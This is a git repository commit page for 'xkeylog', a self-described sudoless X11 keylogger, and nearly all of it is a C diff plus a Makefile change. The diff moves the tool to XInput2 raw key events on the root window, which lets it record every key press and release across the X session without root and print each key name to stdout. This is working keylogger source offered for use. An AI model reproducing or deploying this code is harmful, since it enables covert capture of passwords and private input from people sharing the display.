xkeylog

Sudoless X11 keylogger
git clone https://git.sinitax.com/sinitax/xkeylog
Log | Files | Refs | sfeed.txt

commit 9514cb8f2bb57de34c8e5a63bda8da79e92aae64
parent f711b9eed4b7b9a9804bb8c284954b2a975545c3
Author: Louis Burda <quent.burda@gmail.com>
Date:   Mon, 20 Feb 2023 18:15:55 +0100

Using XInput2 extension for raw access

Diffstat:
MMakefile | 2+-
Mxkeylog.c | 160+++++++++++++++++++++++++++++++++++++++++++++++++------------------------------
2 files changed, 100 insertions(+), 62 deletions(-)

diff --git a/Makefile b/Makefile @@ -1,7 +1,7 @@ PREFIX ?= /usr/local BINDIR ?= /bin -LDLIBS = -lX11 +LDLIBS = -lX11 -lXi all: xkeylog diff --git a/xkeylog.c b/xkeylog.c @@ -1,7 +1,12 @@ +/* HEAVILY inspired by anko/xkbcat */ + +#include <X11/extensions/XI2.h> +#include <X11/extensions/XInput2.h> +#include <X11/XKBlib.h> #include <X11/X.h> #include <X11/Xlib.h> -#include <X11/Xutil.h> +#include <X11/extensions/XKB.h> #include <sys/types.h> #include <signal.h> #include <err.h> @@ -13,83 +18,116 @@ const int mask = KeyPressMask | KeyReleaseMask | FocusChangeMask; -FILE *logfile; -Display *dpy; -Window root; -Window focus; +int keysym_group; +int xinput_op; +int xkb_event; void -close_log(void) +check_support(Display *dpy, int *xinput_op) { - fclose(logfile); + int op, ev, err; + int vminor, vmajor; + int ret; + + ret = XQueryExtension(dpy, "XInputExtension", xinput_op, &ev, &err); + if (!ret) errx(1, "missing XInput extension"); + + vmajor = 2; + vminor = 0; + ret = XIQueryVersion(dpy, &vmajor, &vminor); + if (ret == BadRequest) + errx(1, "missing XInput2 support"); + + ret = XkbQueryExtension(dpy, &op, &ev, &err, &vmajor, &vminor); + if (!ret) errx(1, "missing Xkb extension"); } void -handle_event(void) +setup_xinput(Display *dpy, Window root) { - XComposeStatus comp; - XEvent ev; - KeySym ks; - char strbuf[128]; - int revert; - int len; - - XNextEvent(dpy, &ev); - switch (ev.type) { - case FocusOut: - fprintf(logfile, "Focus changed!\n"); - fprintf(logfile, "Old focus is %d\n", (int)focus); - if (focus != root) - XSelectInput(dpy, focus, 0); - XGetInputFocus(dpy, &focus, &revert); - fprintf(logfile, "New focus is %d\n", (int)focus); - if (focus == PointerRoot) - focus = root; - XSelectInput(dpy, focus, mask); - break; - case KeyPress: - fprintf(logfile, "Got key!\n"); - len = XLookupString(&ev.xkey, strbuf, - sizeof(strbuf) - 1, &ks, &comp); - if (len > 0) { - strbuf[len] = 0; - fprintf(logfile, "String is: %s\n", strbuf); - } else { - fprintf(logfile, "Key is: %d\n", (int)ks); - } - break; - } + XIEventMask mask; + + mask.deviceid = XIAllMasterDevices; + mask.mask_len = XIMaskLen(XI_LASTEVENT); + mask.mask = calloc(mask.mask_len, 1); + if (!mask.mask) err(1, "calloc"); + + XISetMask(mask.mask, XI_RawKeyPress); + XISetMask(mask.mask, XI_RawKeyRelease); + XISelectEvents(dpy, root, &mask, 1); + XSync(dpy, false); + + free(mask.mask); } -int -main(int argc, const char **argv) +void +handle_event(Display *dpy, Window root) { - const char *filepath; - const char **arg; - int revert; - - filepath = NULL; - for (arg = argv + 1; *arg; arg++) { - if (!filepath) { - filepath = *arg; - } else { - errx(1, "unknown arg: %s", *arg); - } + XGenericEventCookie *cookie; + XkbEvent *xkbev; + XIRawEvent *xiev; + XEvent xev; + KeySym sym; + char *name; + + cookie = &xev.xcookie; + XNextEvent(dpy, &xev); + + if (!XGetEventData(dpy, cookie)) { + /* keysym group change event */ + if (xev.type != xkb_event) + return; + xkbev = (XkbEvent *)&xev; + if (xkbev->any.xkb_type == XkbStateNotify) + keysym_group = xkbev->state.group; + return; } - if (filepath) { - logfile = fopen(filepath, "w+"); - if (!logfile) err(1, "fopen"); - atexit(close_log); + if (cookie->type != GenericEvent || cookie->extension != xinput_op) + return; + + if (cookie->evtype != XI_RawKeyPress && cookie->evtype != XI_RawKeyRelease) + return; + + xiev = cookie->data; + sym = XkbKeycodeToKeysym(dpy, xiev->detail, keysym_group, 0); + if (sym == NoSymbol) { + if (keysym_group == 0) return; + /* NoSymbol on upper layers defers to base group */ + sym = XkbKeycodeToKeysym(dpy, xiev->detail, 0, 0); + if (sym == NoSymbol) return; + } + + name = XKeysymToString(sym); + if (name == NULL) return; + + if (cookie->evtype == XI_RawKeyPress) { + printf("+%s\n", name); } else { - logfile = stdout; + printf("-%s\n", name); } + fflush(stdout); +} + +int +main(int argc, const char **argv) +{ + XkbStateRec state; + Display *dpy; + Window root; dpy = XOpenDisplay(NULL); root = DefaultRootWindow(dpy); - XGetInputFocus(dpy, &focus, &revert); - XSelectInput(dpy, focus, mask); + check_support(dpy, &xinput_op); + setup_xinput(dpy, root); + + XkbSelectEventDetails(dpy, XkbUseCoreKbd, XkbStateNotify, + XkbGroupStateMask, XkbGroupStateMask); + XkbGetState(dpy, XkbUseCoreKbd, &state); + keysym_group = state.group; - while (1) handle_event(); + while (1) { + handle_event(dpy, root); + } }